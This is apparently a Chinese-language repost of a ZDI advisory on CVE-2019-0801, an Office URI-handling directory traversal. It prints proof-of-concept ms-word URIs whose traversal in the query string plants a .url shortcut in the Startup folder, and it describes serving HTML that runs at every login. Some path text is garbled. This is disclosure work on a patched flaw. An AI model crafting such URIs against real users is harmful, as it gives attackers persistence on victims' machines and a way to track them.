web平台安装程序 无效的uri_Microsoft Office中URI劫持漏洞所导致的目录穿越

92359fdb367b6fd70103913f97dda391.png

2018年12月,我们收到了Andrea Micalizzi关于微软Office的漏洞报告。在确认漏洞存在后,被标记为CVE-2019-0801,且微软于今年4月发布了漏洞补丁。现在就和大家分享一下漏洞细节。

关于Microsoft Office,有一个隐藏的细节,就是安装时它会用各种URI schemes执行各种操作,想了解细节可以点击这里。利用这些URI schemes,你可以从浏览器中启动Office程序。而在这其中,我们发现了以下特殊的URI schemes:

ms-word:ofe|u|ms-excel:ofe|u|ms-powerpoint:ofe|u| 

命令ofe会指示浏览器打开一个Office文档进行编辑,命令ofv的意思是“打开文档进行查看”,这两者工作原理都是一样的。而参数是一个和Office文档相关联的URI,通常情况包含http:或https:,代表从远程web服务器获取文档。

例如,以下URI将打开从example.com获取的Word文档:

ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx

当浏览器打开以上链接时,浏览器将首先警告正在打开外部程序。例如在Internet Explorer中,警告如下:

96b848d0eae08d6d268819b1b8e8969d.png

如果用户点击Allow,那么Microsoft Word将启动,并从指定网站example.com获取文件,以随机字母命名,再将其保存在一个名为%LOCALAPPDATA%TempOICE_16_974FA576_32C1D314_xxxx的临时文件夹中,其中xxxx是四个随机十六进制数字,最后打开文档进行编辑。

而在整个流程中,我们感兴趣的是其中涉及的一些额外文件操作。除了保存上述文档的临时副本外,Office程序还将创建两个链接文件,作用是将该文档标记为用户“最近打开的文档”,具体如下所示。由于这个文档的原始位置是在互联网中,因此Office将创建互联网快捷方式(.url)文件:

[InternetShortcut]URL= http://example.com/SomePath/SomeDoc.docxContents of C:甥敳獲AppDataRoamingMicrosoftOfficeRecentSomeDoc.docx.url[InternetShortcut]URL= http://example.com/SomePath/Contents of C:甥敳獲AppDataRoamingMicrosoftOfficeRecentSomePath on example.com.url

如上所见,第一个快捷方式指向互联网上的文档位置,第二个快捷方式指向文件的路径。每个.url文件都有一个描述性的名称,例如第一个文件为SomeDoc.docx.url。

但是,若原始URL中的文件名后面跟有查询字符串时,就会出现问题。在这种情况下,当Microsoft Office为.url文件命名时,它将尝试将整个查询字符串合并到文件名中。例如,如果是以下URI:

ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?hmm

Office将尝试创建文件C:甥敳獲AppDataRoamingMicrosoftOfficeRecentSomeDoc.docx?hmm.url。但是,Windows不允许?出现在文件名中,所以这个操作会失败。

那么,如果我们在查询字符串中放入一些目录遍历字符呢?

ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?hmm/../blah

在这种情况下,Office理论上的产生的文件路径为C:甥敳獲AppDataRoamingMicrosoftOfficeRecentSomeDoc.docx?hmm..blah.url。对于这种路径,操作系统是认可的,因为目录遍历消除了无效的问号,最后得到的文件为C:甥敳獲AppDataRoamingMicrosoftOfficeRecentblah.url。

不过,既然目录遍历符号可以生效,那么我们就能控制文件的位置。先让我们尝试把文件放入系统开机启动文件夹C:甥敳獲AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup。要到放入这个位置,我们只需要翻越两级目录即可C:甥敳獲AppDataRoamingMicrosoft。

ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?......WindowsStart MenuProgramsStartupw00t

最后我们成功创建文件C:甥敳獲AppDataRoamingMicrosoftWindowsStart MenuProgramsStartupw00t.url。每次用户登录时都会自动运行该快捷方式文件。请注意,攻击者甚至不需要获得受害者的Windows用户名就可以构造此PoC。

影响

这种漏洞的最终影响尚不清楚,其中每次开机所触发的.url文件只是指向最初加载的原始Office文档。

不过,通过更加仔细地研究,我意识到,每次登录时请求的URI在指向攻击者服务器的情况下是不受任何限制,即使请求的是Office文档,但服务器仍然可以回复任何类型的文件内容。例如,攻击者可以用HTML文档作为响应:

b46b1e43ba1f38fdc8b1d84d54e3081f.png

在这种情况下,每次用户登录时都会自动运行HTML文档。这种攻击最直接的体现就是广告软件和恐吓软件。当然,更具危害的是,攻击者可以知晓受害者每次登录系统的时间。为了更好地潜伏,可以使用重定向到无害的页面,如about:blank。

结论

微软在4月份的发布的安全补丁修补了这个漏洞,他们给了这个漏洞最高的可用性评级。无论是经验丰富的攻击者还是初入行的新手,都能利用这种漏洞。

需要注意,在Office中的这种类似漏洞往往可以用来规避反病毒软件和其他安全限制。最近就出现了往Office文档中嵌入FPX图像进行攻击的新闻。

如果你想了解更多,可以通过推特联系 @HexKitchen

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:https://nosec.org/home/detail/2991.html

原文:https://www.thezdi.com/blog/2019/9/24/cve-2019-0801-microsoft-office-uri-hyperlink-hijinks

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值